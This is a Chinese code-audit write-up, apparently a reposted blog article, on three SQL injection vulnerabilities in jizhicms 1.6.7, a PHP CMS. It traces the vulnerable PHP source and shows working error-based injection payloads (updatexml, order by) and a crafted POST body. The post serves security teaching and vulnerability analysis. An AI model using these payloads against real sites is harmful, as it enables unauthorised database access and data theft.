17-PHP代码审计——jizhicms1.6.7 sql注入漏洞分析

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了17-PHP代码审计——jizhicms1.6.7 sql注入漏洞分析相关的知识,希望对你有一定的参考价值。

目录

漏洞一:前台首页sql注入

漏洞二:前台留言界面sql注入

漏洞三:用户文章发布sql注入


漏洞说明:jizhicms是一个基于thinkphp框架开发的开源php cms,1.6.7版本的前台页面和用户中心存在sql注入,漏洞产生的原因主要是因为对于前台提交的数据过滤不足。

 

漏洞影响版本:

jizhicms_Beta1.6.7以下

漏洞环境:

php7.0.12

jizhicms_Beta1.6.7

 

把jizhicms解压到网站根目录,访问install目录下进行安装,jizhicms目录结构:

 

目录结构说明:

install :用于存放cms的安装目录文件
index.php:	前台入口文件
static:静态资源文件目录
Home:前台控制文件
admin.php:后台入口文件
A:			后台控制文件
FrPHP	:框架
backup	:备份目录

 

核心过滤函数为FrPHP\\lib\\目录下的Controller.php文件,frparam函数内部调用了 format_param函数对GET和POST提交的数据都进行了过滤。

	// 获取URL参数值
	public function frparam($str=null, $int=0,$default = FALSE, $method = null){
		$data = $this->_data;
		if($str===null) return $data;
		if(!array_key_exists($str,$data)){
			return ($default===FALSE)?false:$default;
		}
		if($method===null){
			$value = $data[$str];
		}else{
			$method = strtolower($method);
			switch($method){
				case 'get':
				$value = $_GET[$str];
				break;
				case 'post':
				$value = $_POST[$str];
				break;
				case 'cookie':
				$value = $_COOKIE[$str];
				break;
			} 
		}
		//过滤数据
		return format_param($value,$int);
	}

 

format_param函数具体实现如下

/**
	参数过滤,格式化
**/
function format_param($value=null,$int=0){
	if($value==null){ return '';}
	switch ($int){
		case 0://整数
			return (int)$value;
		case 1://字符串
			$value=htmlspecialchars(trim($value), ENT_QUOTES);
			if(!get_magic_quotes_gpc())$value = addslashes($value);
			return $value;
		case 2://数组
			if($value=='')return '';
			array_walk_recursive($value, "array_format");
			return $value;
		case 3://浮点
			return (float)$value;
		case 4:
			if(!get_magic_quotes_gpc())$value = addslashes($value);
			return trim($value);
	}
}

format_param函数过滤方式由frparam函数的参数二指定,对字符串的处理使用了addslashes函数和htmlspecialchars函数过滤。

 

漏洞一:前台首页sql注入

在前台首页中存在一处sql注入,访问http://www.jizhicms.com/1' ,页面直接返回了数据库的报错信息

从页面给出的报错信息来看,sql语句是单引号闭合的。

 

找到首页对应的HomeController定位到jizhi函数,变量$url就是我们提交的数据

//栏目
function jizhi(){
	//接收前台所有的请求
	$request_url = str_replace(APP_URL,'',REQUEST_URI);
	$position = strpos($request_url,'?');
	$url = ($position!==FALSE) ? substr($request_url,0,$position) : $request_url;
	$url = substr($url,1,strlen($url)-1);
	

	if($url=='' || $url=='/' || $url=='index.php' || $url=='index'.File_TXT){
		$this->index();exit;
	}
	
	//检查缓存
	$cache_file = APP_PATH.'cache/data/'.md5(frencode($url));
	$this->cache_file = $cache_file;
	if(!$this->frparam('ajax')){
		$this->start_cache($cache_file);
	}
	//  news/123.html  news-123.html  news-list-123.html
	$url = str_ireplace(File_TXT,'',$url);
	//斜杠的目的是为了绕过if判断	
	if(!$this->webconf['islevelurl']){
		//没有开启URL层级
		if(strpos($url,'/')!==false){
			$urls = explode('/',$url);
			//内容详情页
			$html = $urls[0];
			$id = (int)$urls[1];
			$res = M('classtype')->find(array('htmlurl'=>$html));
		}else{
			//栏目页
			$this->frpage = $this->frparam('page',0,1);
            //这里if不满足条件会调用find执行sql
			if(strpos($url,'-')!==false){
				//检测是否为分页
				$res = M('classtype')->find(array('htmlurl'=>$url));
				if(!$res){
					//存在分页,取最后一个字符串
					$html_x = explode('-',$url);
					$this->frpage = array_pop($html_x);
					if(!$this->frpage){
						$this->error('链接错误!');exit;
					}
					$html = implode('-',$html_x);//再次拼接
					$res = M('classtype')->find(array('htmlurl'=>$html));
					
				}else{
					//不是分页
					
				}
			}else{
				$html = $url;
                //执行sql,这一步存在sql注入
				$res = M('classtype')->find(array('htmlurl'=>$html));
			}
		}

jizhi函数内部没有调用核心过滤函数对提交的数据进行过滤,而是直接调用了find函数。

 

find函数内部调用了findAll函数,把数据给$where作为查询条件

//查询一条
public function find($where=null,$order=null,$fields=null,$limit=1) {
  if( $record = $this->findAll($where, $order, $fields, 1) ){
	return array_pop($record);
   }else{
	return FALSE;
   }
}

 

findAll函数内部具体实现

  // 查询所有
 public function findAll($conditions=null,$order=null,$fields=null,$limit=null){
	$where = '';
	if(is_array($conditions)){
	$join = array();
	foreach( $conditions as $key => $value ){
		$value =  '\\''.$value.'\\'';
		$join[] = "{$key} = {$value}";
	}
		$where = "WHERE ".join(" AND ",$join);
	}else{
		if(null != $conditions)$where = "WHERE ".$conditions;
    }
    if(is_array($order)){
     		$where .= ' ORDER BY ';
          $where .= implode(',', $order);
    }else{
       if($order!=null)$where .= " ORDER BY  ".$order;
    }

    if(!empty($limit))$where .= " LIMIT {$limit}";
    $fields = empty($fields) ? "*" : $fields;
    $table = self::$table;
//构造sql语句
    $sql = "SELECT {$fields} FROM {$table} {$where}";
    return $this->db->getArray($sql);
  }

findAll函数内部直接拼接sql,getArray函数执行sql语句会报错。由于页面会将sql执行的报错信息返回页面,这里我们可以使用报错注入的方式把当前数据库名,表名,表字段等信息全部爆出来。

 

暴当前数据库名:

poc:

//当前数据库的所有表名

1' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)%23

//当前表字段个数,由于order by 20会报错,而order by 19只显示404页面,说明当前表的字段个数只有19个

1' order by 19%23

 

漏洞二:前台留言界面sql注入

 

在前台留言界面随便输入问题,手机号,问题描述信息,在http字段中添加一个Cdn-Src-Ip字段,其内容如下所示:

 

直接返回了mysql数据库的报错信息,并把当前数据库名暴出来了

 

分析留言功能的后台代码,找到home/c目录下的MessageController,这个controller只有一个index方法

	function index(){
		//接收数据
		if($_POST){
			$w = $this->frparam();
			$w = get_fields_data($w,'message',0);
			//对留言中提交的内容进行过滤
			$w['body'] = $this->frparam('body',1,'','POST');
			$w['user'] = $this->frparam('user',1,'','POST');
			$w['tel'] = $this->frparam('tel',1,'','POST');
			$w['aid'] = $this->frparam('aid',0,0,'POST');
			$w['tid'] = $this->frparam('tid',0,0,'POST');
			
			if($this->webconf['autocheckmessage']==1){
				$w['isshow'] = 1;
			}else{
				$w['isshow'] = 0;
			}
            //GetIP函数的功能时获取请求客户端的ip地址信息
			$w['ip'] = GetIP();
			$w['addtime'] = time();
			if(isset($_SESSION['member'])){
				$w['userid'] = $_SESSION['member']['id'];
			}
			if($this->frparam('title',1,'','POST')==''){
				//$this->error('标题不能为空!');
				if($this->frparam('ajax')){
					JsonReturn(['code'=>1,'msg'=>'标题不能为空!']);
				}
				Error('标题不能为空!');
			}
			if($w['user']==''){
				//$this->error('姓名不能为空!');
				if($this->frparam('ajax')){
					JsonReturn(['code'=>1,'msg'=>'称呼不能为空!']);
				}
				Error('称呼不能为空!');
			}
			
			$w['title'] = $this->frparam('title',1);
			//仅在存在手机号的情况进行检测手机号是否有效-可自由设置
			if($w['tel']!=''){
				if(!preg_match("/^(13[0-9]|14[579]|15[0-3,5-9]|16[6]|17[0135678]|18[0-9]|19[89])\\\\d{8}$/",$w['tel'])){  
					//$this->error('您的手机号格式不正确!');
					if($this->frparam('ajax')){
						JsonReturn(['code'=>1,'msg'=>'您的手机号格式不正确!']);
					}
					Error('您的手机号格式不正确!');
				}
				
			}
			if(!isset($_SESSION['message_time'])){
				$_SESSION['message_time'] = time();
				$_SESSION['message_num'] = 0;
			}
			
			if(($_SESSION['message_time']+10*60)<time()){
				$_SESSION['message_num'] = 0;
			}
			$_SESSION['message_num']++;
			if($_SESSION['message_num']>10 && ($_SESSION['message_time']+10*60)<time()){
				//$this->error('您操作过于频繁,请10分钟后再尝试!');
				if($this->frparam('ajax')){
					JsonReturn(['code'=>0,'msg'=>'您操作过于频繁,请10分钟后再尝试!']);
				}
				Error('您操作过于频繁,请10分钟后再尝试!');
			}
            //保存留言信息到数据库
			$res = M('message')->add($w);
			if($res){
				if($this->frparam('ajax')){
					JsonReturn(['code'=>1,'msg'=>'提交成功!我们会尽快回复您!','url'=>get_domain()]);
				}
				Success('提交成功!我们会尽快回复您!',get_domain());
			}else{
				if($this->frparam('ajax')){
					JsonReturn(['code'=>1,'msg'=>'提交失败,请重试!']);
				}
				//$this->error('提交失败,请重试!');
				Error('提交失败,请重试!');
			}
		}

分析以上代码可知,index接收POST数据后进行了过滤,然后调用了GetIP函数获取客户端ip地址,把POST的数据和客户端的ip地址放到数组w中,调用add函数将数据保存到数据库中。

 

我们来分析一下GetIP函数的实现:

function GetIP(){ 
  static $ip = '';
  $ip = $_SERVER['REMOTE_ADDR'];
  if(isset($_SERVER['HTTP_CDN_SRC_IP'])) {
    $ip = $_SERVER['HTTP_CDN_SRC_IP'];
  } elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
    $ip = $_SERVER['HTTP_CLIENT_IP'];
  } elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) AND preg_match_all('#\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
    foreach ($matches[0] AS $xip) {
      if (!preg_match('#^(10|172\\.16|192\\.168)\\.#', $xip)) {
        $ip = $xip;
        break;
      }
    }
  }
  return $ip;
}

GetIP函数内部获取了REMOTE_ADDR,HTTP_CDN_SRC_IP,HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR的http字段的ip地址,这4个http字段都是可控的,但其中HTTP_CLIENT_IP,HTTP_X_FORWARDED_FOR这两个字段都用正则过滤了,那么只有HTTP_CDN_SRC_IP是可控的且没有过滤,因此我们可以伪造该字段的值(前面我们说客户端的ip是可控的不严谨,严格来说应该是http请求头的HTTP_CDN_SRC_IP字段是可控,可绕过的)。

 

漏洞三:用户文章发布sql注入

用户中心文章发布存在sql注入,这次我们不先讲漏洞的利用,在此之前先来看一下用户正常发布文章的流程:

在burpsuite工具抓到的http请求包中的请求消息部分中可以看到提交的数据内容,我们接下来将根据请求消息部分来分析文章发布功能的sql注入。

 

然后找到UserController中文章发布功能对应的release函数

    //文章发布和修改
function release(){
    	$this->checklogin();
    	error_reporting(E_ALL^E_NOTICE);
        //接收数据
    	if($_POST){
            //过滤,由于没有传参,所以这里又直接返回了data
    		$data = $this->frparam();
            //只传了一个参数
			$w['tid'] = $this->frparam('tid');
			if(!$w['tid']){
				Error('请选择分类!');
			}
			if(!isset($this->classtypedata[$w['tid']])){
				Error('分类错误!');
			}
			$w['molds'] = $this->classtypedata[$w['tid']]['molds'];
			$w = get_fields_data($data,$w['molds']);
			$w['htmlurl'] = $this->classtypedata[$w['tid']]['htmlurl'];
			$sql = array();
            //如果tid不为空则拼接sql
			if($w['tid']!=0){
				$sql[] = " tids like '%,".$w['tid'].",%' "; 
			}
            //w数组中的molds可控
			$sql[] = " molds = '".$w['molds']."' and isshow=1 ";
			$sql = implode(' and ',$sql);
            //执行sql,
			$fields_list = M('Fields')->findAll($sql,'orders desc,id asc');
			if($fields_list){
				foreach($fields_list as $v){
					if($v['ismust']==1){
						if($data[$v['field']]==''){
							if(in_array($v['fieldtype'],array(6,10))){
								if($data[$v['field'].'_urls']==''){
									Error($v['fieldname'].'不能为空!');
								}
							}else{
								Error($v['fieldname'].'不能为空!');
							}
						}
					}
				}
			}
			
			switch($w['molds']){
				case 'article':
					if(!$data['body']){
						Error('内容不能为空!');
					}
					if(!$data['title']){
						Error('标题不能为空!');
					}
					$data['body'] = $this->frparam('body',4);
					$w['title'] = $this->frparam('title',1);
					$w['seo_title'] = $w['title'];
					$w['keywords'] = $this->frparam('keywords',1);
					$w['litpic'] = $this->frparam('litpic',1);
					$w['body'] = $data['body'];
					$w['description'] = newstr(strip_tags($data['body']),200);
				break;
				case 'product':
					if(!$data['body']){
						Error('内容不能为空!');
					}
					if(!$data['title']){
						Error('标题不能为空!');
					}
					$w['title'] = $this->frparam('title',1);
					$w['seo_title'] = $w['title'];
					$w['litpic'] = $this->frparam('litpic',1);
					$w['keywords'] = $this->frparam('keywords',1);
					$w['pictures'] = $this->frparam('pictures',1);
					if($this->frparam('pictures_urls',2)){
						$w['pictures'] = implode('||',$this->frparam('pictures_urls',2));
					}
					$data['body'] = $this->frparam('body',4);
					$w['body'] = $data['body'];
					if($this->frparam('description',1)){
						$w['description'] = $this->frparam('description',1);
					}else{
						$w['description'] = newstr(strip_tags($data['body']),200);
					}
				break;
				default:
				break;
			}
			$w['isshow'] = 0;//修改后的文章一律为未审核
			$w['member_id'] = $this->member['id'];
			$w['addtime'] = time();
			if($this->frparam('id')){
				$a = M($w['molds'])->update(['id'=>$this->frparam('id')],$w);
				if(!$a){ Error('修改失败,请重试!');}
				Success('修改成功!',U('user/posts'));
			}else{
				$a = M($w['molds'])->add($w);
				if(!$a){ Error('发布失败,请重试!');}
				Success('发布成功!',U('user/posts'));
			}

    	}
    	$molds = $this->frparam('molds',1,'article');
    	$tid = $this->frparam('tid',0,0);
    	if($this->frparam('id')){
    		$this->data = M($molds)->find(['id'=>$this->frparam('id'),'member_id'=>$this->member['id']]);
    		$molds = $this->data['molds'];
    		$tid = $this->data['tid'];
    	}else{
    		$this->data = false;
    	}
    	$this->molds = $molds;
    	$this->tid = $tid;
    	$this->classtypetree =  get_classtype_tree();
    	$this->display($this->template.'/user/article-add');
    }

release函数内部接收了提交的POST数据,然后调用了frparam核心过滤函数,由于this对象调用frparam函数没有传参,data的数据是没有过滤的,然后调用了一个比较关键的get_fields_data函数。

 

get_fields_data函数内部实现:

function get_fields_data($data,$molds,$isadmin=1){
//判断是否为后台
 if($isadmin){
	 $fields = M('fields')->findAll(['molds'=>$molds,'isadmin'=>1],'orders desc,id asc');
 }else{
	 //前台需要判断是否前台显示
	 $fields = M('fields')->findAll(['molds'=>$molds,'isshow'=>1],'orders desc,id asc');
 }
//过滤
  foreach($fields as $v){
	 if(array_key_exists($v['field'],$data)){
		 switch($v['fieldtype']){
			 case 1:
			 case 2:
			 case 5:
			 case 7:
			 case 9:
			 case 12:
			 $data[$v['field']] = format_param($data[$v['field']],1);
			 break;
			 case 11:
			 $data[$v['field']] = strtotime(format_param($data[$v['field']],1));
			 break;
			 case 3:
			 $data[$v['field']] = format_param($data[$v['field']],4);
			 break;
			 case 4:
			 case 13:
			 $data[$v['field']] = format_param($data[$v['field']]);
			 break;
			 case 14:
			 $data[$v['field']] = format_param($data[$v['field']],3);
			 break;
			 case 8:
			 $r = implode(',',format_param($data[$v['field']],2));
			 if($r!=''){
				 $r = ','.$r.',';
			 } 
			 $data[$v['field']] = $r;
			 break;
		 }
	 }else if(array_key_exists($v['field'].'_urls',$data)){
	     switch($v['fieldtype']){
	         case 6:
			 case 10:
			 $data[$v['field']] = implode('||',format_param($data[$v['field'].'_urls'],2));
			 break;
	     }
	 }else{
		$data[$v['field']] = '';      
	 }
  }
  return $data;
}

get_fields_data函数是提交的表单的字段里的内容,如果findAll函数查询的结果为空($fields为空)会绕过format_param函数的过滤,直接返回$data的内容(findAll函数的结果同样也可以通过molds来控制),默认情况下findAll函数返回的$fields为空。

 

再回到release函数中,get_fields_data函数将返回的data赋值给数组w,这一步操作会将之前过滤之后的tid的内容做一个覆盖(绕了一圈,你又给我绕回来了,好家伙),然后拼接sql并调用findAll函数执行sql,同时还把molds也拼接到sql语句中了,也就是说,POST提交的tid和molds都存在注入:

if($w['tid']!=0){
	$sql[] = " tids like '%,".$w['tid'].",%' "; 
}
$sql[] = " molds = '".$w['molds']."' and isshow=1 ";

 

那么我们可以构造tid的值再次发起请求:

成功返回了数据库的报错信息把当前数据库名成功爆出来了。

 

构造molds的poc:

id=&isshow=&molds=article' and 1=updatexml(1,concat(0x7e,(select database())),3)#&tid=2&title=biaoti&keywords=guanjianzi&litpic=&file_litpic=&description=jianjie&submit=%E6%8F%90%E4%BA%A4&body=%3Cp%3Eneirong%3C%2Fp%3E

 

总结:

本次sql注入漏洞总体来说并不是很难,但真正自己实践的时候总是会碰到各种坑和问题,分析漏洞的过程中难免要借鉴大佬的思路(好吧,其实主要还是自己太菜了,代码审计之路任重而道远啊),最后总结一下分析的一些思路和心得吧:

  1. 分析该功能点是否有和数据库交互(CRUD)定位分析数据库操作的关键函数,例如查询操作的find或者findAll函数,增加操作的add函数,删除操作的delete函数等等......
  2. 分析函数中的参数是否可控(经过了哪些处理),如果没有过滤则分析参数是否可以构造sql语句,如果有过滤的函数则分析过滤规则是否可绕过
  3. 一定要有耐心,同时还要细心
  4. 学习大佬的思路,各种奇淫技巧

 

PS:感觉自己对thinkphp的控制器和路由机制不熟悉,需要从头开始学习一遍了。

 

以上是关于17-PHP代码审计——jizhicms1.6.7 sql注入漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

e语言代码如何审计

代码审计那些代码审计的思路

当前市面上的代码审计工具哪个比较好?

代码审计思路之PHP代码审计

代码审计利器-Seay源代码审计系统

代码审计系列:审计思路学习笔记